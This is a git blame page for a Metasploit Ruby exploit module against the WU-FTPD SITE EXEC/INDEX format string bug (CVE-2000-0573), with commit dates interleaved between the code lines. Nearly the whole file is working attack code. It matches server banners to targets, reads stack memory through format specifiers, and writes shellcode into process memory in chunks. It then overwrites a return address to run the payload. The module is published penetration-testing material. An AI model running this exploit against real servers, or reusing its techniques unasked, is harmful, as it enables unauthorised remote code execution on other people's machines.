Files
metasploit-gs/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

300 lines
8.7 KiB
Ruby
Raw Normal View History

2010-03-05 17:05:12 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2010-03-05 17:05:12 +00:00
##
2009-12-04 07:50:53 +00:00
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-06 05:50:37 +00:00
Rank = GreatRanking
2013-08-30 16:28:54 -05:00
2009-12-04 07:50:53 +00:00
include Msf::Exploit::Remote::Ftp
include Msf::Exploit::FormatString
2013-08-30 16:28:54 -05:00
2009-12-04 07:50:53 +00:00
def initialize(info = {})
2010-03-05 17:05:12 +00:00
super(update_info(info,
2012-03-15 16:37:34 -05:00
'Name' => 'WU-FTPD SITE EXEC/INDEX Format String Vulnerability',
2009-12-04 07:50:53 +00:00
'Description' => %q{
2010-03-05 17:05:12 +00:00
This module exploits a format string vulnerability in versions of the
Washington University FTP server older than 2.6.1. By executing
specially crafted SITE EXEC or SITE INDEX commands containing format
specifiers, an attacker can corrupt memory and execute arbitrary code.
2009-12-04 07:50:53 +00:00
},
2010-03-05 17:05:12 +00:00
'Author' => [ 'jduck' ],
2009-12-04 07:50:53 +00:00
'References' =>
[
['CVE', '2000-0573'],
['OSVDB', '11805'],
2009-12-04 07:50:53 +00:00
['BID', '1387']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'PrependChrootBreak' => true
},
'Privileged' => true,
'Payload' =>
{
# format string max length
'Space' => 256,
# NOTE: \xff's need to be doubled (per ftp/telnet stuff)
'BadChars' => "\x00\x09\x0a\x0d\x20\x25\x2f",
2009-12-04 07:50:53 +00:00
'DisableNops' => 'True',
'StackAdjustment' => -1500
},
'Platform' => [ 'linux' ],
'Targets' =>
[
#
# Automatic targeting via fingerprinting
#
[ 'Automatic Targeting', { 'auto' => true } ],
2013-08-30 16:28:54 -05:00
2009-12-04 07:50:53 +00:00
#
# specific targets
#
[ 'Slackware 2.1 (Version wu-2.4(1) Sun Jul 31 21:15:56 CDT 1994)',
{
2009-12-06 02:30:42 +00:00
'UseDPA' => false,
2009-12-04 07:50:53 +00:00
'PadBytes' => 3,
'NumPops' => 8,
'AddrPops' => 100,
'Offset' => -2088, # offset to stack return
2009-12-09 23:19:19 +00:00
'Writable' => 0xbfffde26, # stack, avoid badchars
'FlowHook' => -1, # auto now... 0xbffff1e4 # stack return addr
2009-12-04 07:50:53 +00:00
}
],
2009-12-08 23:52:11 +00:00
# these aren't exploitable (using built-in, stripped down vsprintf, no %n)
2009-12-06 02:30:42 +00:00
#[ 'RedHat 5.2 (Version wu-2.4.2-academ[BETA-18](1) Mon Aug 3 19:17:20 EDT 1998)',
#[ 'RedHat 6.0 (Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:53 EDT 1999)',
2009-12-06 03:42:37 +00:00
#[ 'RedHat 6.1 (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999)',
2009-12-04 07:50:53 +00:00
[ 'RedHat 6.2 (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000)',
{
2009-12-06 02:30:42 +00:00
'UseDPA' => true,
2009-12-04 07:50:53 +00:00
'PadBytes' => 2,
'NumPops' => 276,
'AddrPops' => 2,
'Offset' => -17664, # offset to stack return
2009-12-09 23:19:19 +00:00
'Writable' => 0x806e726, # bss
#'Writable' => 0xbfff0126, # stack, avoid badchars
'FlowHook' => -1, # auto now... 0xbfffb028 # stack return addr
2009-12-08 23:52:11 +00:00
#'FlowHook' => 0x806e1e0 # GOT of sprintf
2009-12-04 07:50:53 +00:00
}
],
2013-08-30 16:28:54 -05:00
2009-12-06 02:30:42 +00:00
#
# this one will detect the parameters automagicly
#
2009-12-04 07:50:53 +00:00
[ 'Debug',
{
2009-12-06 02:30:42 +00:00
'UseDPA' => false,
2009-12-04 07:50:53 +00:00
'PadBytes' => 0,
'NumPops' => 0,
'AddrPops' => -1,
'Offset' => -1,
2010-03-05 17:05:12 +00:00
'Writable' => 0x41414242, #
'FlowHook' => 0x43434545 #
2009-12-04 07:50:53 +00:00
}
],
],
2010-07-03 03:13:45 +00:00
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 22 2000'))
2009-12-04 07:50:53 +00:00
register_options(
[
Opt::RPORT(21),
])
2009-12-04 07:50:53 +00:00
end
2013-08-30 16:28:54 -05:00
2009-12-04 07:50:53 +00:00
def check
2010-03-05 17:05:12 +00:00
# NOTE: We don't care if the login failed here...
ret = connect_login
2013-08-30 16:28:54 -05:00
2010-03-05 17:05:12 +00:00
# We just want the banner to check against our targets..
2014-01-21 17:14:55 -06:00
vprint_status("FTP Banner: #{banner.strip}")
status = Exploit::CheckCode::Safe
2009-12-04 07:50:53 +00:00
if banner =~ /Version wu-2\.(4|5)/
status = Exploit::CheckCode::Appears
elsif banner =~ /Version wu-2\.6\.0/
status = Exploit::CheckCode::Appears
2009-12-04 07:50:53 +00:00
end
2013-08-30 16:28:54 -05:00
2010-03-05 17:05:12 +00:00
# If we've made it this far, we care if login succeeded.
if (ret)
# NOTE: vulnerable and exploitable might not mean the same thing here :)
if not fmtstr_detect_vulnerable
status = Exploit::CheckCode::Safe
end
if not fmtstr_detect_exploitable
status = Exploit::CheckCode::Safe
end
2009-12-09 23:53:26 +00:00
end
2013-08-30 16:28:54 -05:00
disconnect
return status
2009-12-04 07:50:53 +00:00
end
2013-08-30 16:28:54 -05:00
2009-12-04 07:50:53 +00:00
def exploit
2013-08-30 16:28:54 -05:00
2010-03-05 17:05:12 +00:00
if (not connect_login)
2013-08-15 14:14:46 -05:00
fail_with(Failure::Unknown, 'Unable to authenticate')
2010-03-05 17:05:12 +00:00
end
2013-08-30 16:28:54 -05:00
# Use a copy of the target
2009-12-04 07:50:53 +00:00
mytarget = target
2013-08-30 16:28:54 -05:00
2009-12-04 07:50:53 +00:00
if (target['auto'])
mytarget = nil
2013-08-30 16:28:54 -05:00
2009-12-04 07:50:53 +00:00
print_status("Automatically detecting the target...")
if (banner and (m = banner.match(/\(Version wu-(.*)\) ready/))) then
print_status("FTP Banner: #{banner.strip}")
version = m[1]
else
2013-08-15 14:14:46 -05:00
fail_with(Failure::NoTarget, "No matching target")
2009-12-04 07:50:53 +00:00
end
2013-08-30 16:28:54 -05:00
2009-12-04 07:50:53 +00:00
regexp = Regexp.escape(version)
self.targets.each do |t|
if (t.name =~ /#{regexp}/) then
mytarget = t
break
end
end
2013-08-30 16:28:54 -05:00
2009-12-04 07:50:53 +00:00
if (not mytarget)
2013-08-15 14:14:46 -05:00
fail_with(Failure::NoTarget, "No matching target")
2009-12-04 07:50:53 +00:00
end
2013-08-30 16:28:54 -05:00
2009-12-04 07:50:53 +00:00
print_status("Selected Target: #{mytarget.name}")
else
print_status("Trying target #{mytarget.name}...")
if banner
print_status("FTP Banner: #{banner.strip}")
end
end
2013-08-30 16:28:54 -05:00
2009-12-04 07:50:53 +00:00
# proceed with chosen target...
2013-08-30 16:28:54 -05:00
2009-12-04 07:50:53 +00:00
# detect stuff!
if mytarget.name == "Debug"
#fmtstr_set_caps(true, true)
# dump the stack, so we can detect stuff magically
2009-12-04 07:50:53 +00:00
print_status("Dumping the stack...")
stack = Array.new
extra = "aaaabbbb"
2009-12-04 07:50:53 +00:00
1000.times do |x|
dw = fmtstr_stack_read(x+1, extra)
break if not dw
stack << dw
2009-12-04 07:50:53 +00:00
end
2013-08-30 16:28:54 -05:00
2009-12-04 07:50:53 +00:00
stack_data = stack.pack('V*')
print_status("Obtained #{stack.length*4} bytes of stack data:\n" + Rex::Text.to_hex_dump(stack_data))
2013-08-30 16:28:54 -05:00
2009-12-04 07:50:53 +00:00
# detect the number of pad bytes
idx = stack_data.index("aaaabbbb")
if not idx
2013-08-15 14:14:46 -05:00
fail_with(Failure::Unknown, "Whoa, didn't find the static bytes on the stack!")
end
2009-12-04 07:50:53 +00:00
num_pad = 0
num_pad = 4 - (idx % 4) if (idx % 4) > 0
2009-12-04 07:50:53 +00:00
mytarget.opts['PadBytes'] = num_pad
2013-08-30 16:28:54 -05:00
2009-12-04 07:50:53 +00:00
# calculate the number of pops needed to hit our addr
num_pops = (idx + num_pad) / 4
mytarget.opts['NumPops'] = num_pops
else
num_pad = mytarget['PadBytes']
num_pops = mytarget['NumPops']
sc_loc = mytarget['Writable']
ret = mytarget['FlowHook']
end
2013-08-30 16:28:54 -05:00
print_status("Number of pad bytes: #{num_pad}")
print_status("Number of pops: #{num_pops}")
2013-08-30 16:28:54 -05:00
# debugging -> don't try it!
return if mytarget.name == "Debug"
2013-08-30 16:28:54 -05:00
2009-12-08 23:52:11 +00:00
#print_status("ATTACH!")
#select(nil,nil,nil,5)
2013-08-30 16:28:54 -05:00
fmtstr_detect_caps
2013-08-30 16:28:54 -05:00
# compute the stack return address using the fmt to leak memory
addr_pops = mytarget['AddrPops']
offset = mytarget['Offset']
if addr_pops > 0
stackaddr = fmtstr_stack_read(addr_pops)
print_status("Read %#x from offset %d" % [stackaddr, addr_pops])
ret = stackaddr + offset
end
2013-08-30 16:28:54 -05:00
print_status("Writing shellcode to: %#x" % sc_loc)
print_status("Hijacking control via %#x" % ret)
2013-08-30 16:28:54 -05:00
2009-12-04 07:50:53 +00:00
# no extra bytes before the padding..
num_start = 0
2013-08-30 16:28:54 -05:00
2009-12-04 07:50:53 +00:00
# write shellcode to 'writable'
arr = fmtstr_gen_array_from_buf(sc_loc, payload.encoded, mytarget)
2013-08-30 16:28:54 -05:00
2009-12-04 07:50:53 +00:00
# process it in groups of 24 (max ~400 bytes per command)
sc_num = 1
while arr.length > 0
print_status("Sending part #{sc_num} of the payload...")
sc_num += 1
2013-08-30 16:28:54 -05:00
2009-12-04 07:50:53 +00:00
narr = arr.slice!(0..24)
2013-08-30 16:28:54 -05:00
2009-12-04 07:50:53 +00:00
fmtbuf = fmtstr_gen_from_array(num_start, narr, mytarget)
# a space allows the next part to start with a '/'
fmtbuf[num_pad-1,1] = " "
fmtbuf.gsub!(/\xff/, "\xff\xff")
if ((res = send_cmd(['SITE', 'EXEC', fmtbuf], true)))
if res[0,4] == "500 "
2013-08-15 14:14:46 -05:00
fail_with(Failure::Unknown, "Something went wrong when uploading the payload...")
2009-12-04 07:50:53 +00:00
end
end
end
2013-08-30 16:28:54 -05:00
2009-12-04 07:50:53 +00:00
# write 'writable' addr to flowhook (execute shellcode)
# NOTE: the resulting two writes must be done at the same time
print_status("Attempting to write %#x to %#x.." % [sc_loc, ret])
2013-08-30 16:28:54 -05:00
2009-12-04 07:50:53 +00:00
fmtbuf = generate_fmt_two_shorts(num_start, ret, sc_loc, mytarget)
# a space allows the next part to start with a '/'
fmtbuf[num_pad-1,1] = " "
fmtbuf.gsub!(/\xff/, "\xff\xff")
2009-12-08 23:52:11 +00:00
# don't wait for the response here :)
res = send_cmd(['SITE', 'EXEC', fmtbuf], false)
2013-08-30 16:28:54 -05:00
2009-12-04 07:50:53 +00:00
print_status("Your payload should have executed now...")
handler
end
2013-08-30 16:28:54 -05:00
#
# these two functions are used to read stack memory
# (used by fmtstr_stack_read()
#
def trigger_fmt(fmtstr)
return nil if fmtstr.length >= (512 - (4+1 + 4+1 + 2 + 2))
send_cmd(['SITE', 'EXEC', 'x', fmtstr], true)
end
2013-08-30 16:28:54 -05:00
def extract_fmt_output(res)
2010-03-05 17:05:12 +00:00
if (res =~ /^5.. /)
#throw "Crap! Something went wrong while dumping the stack..."
return nil
end
ret = res.strip.split(/\r?\n/)[0]
ret = ret[6,ret.length]
return ret
end
2010-03-05 17:05:12 +00:00
2009-12-04 07:50:53 +00:00
end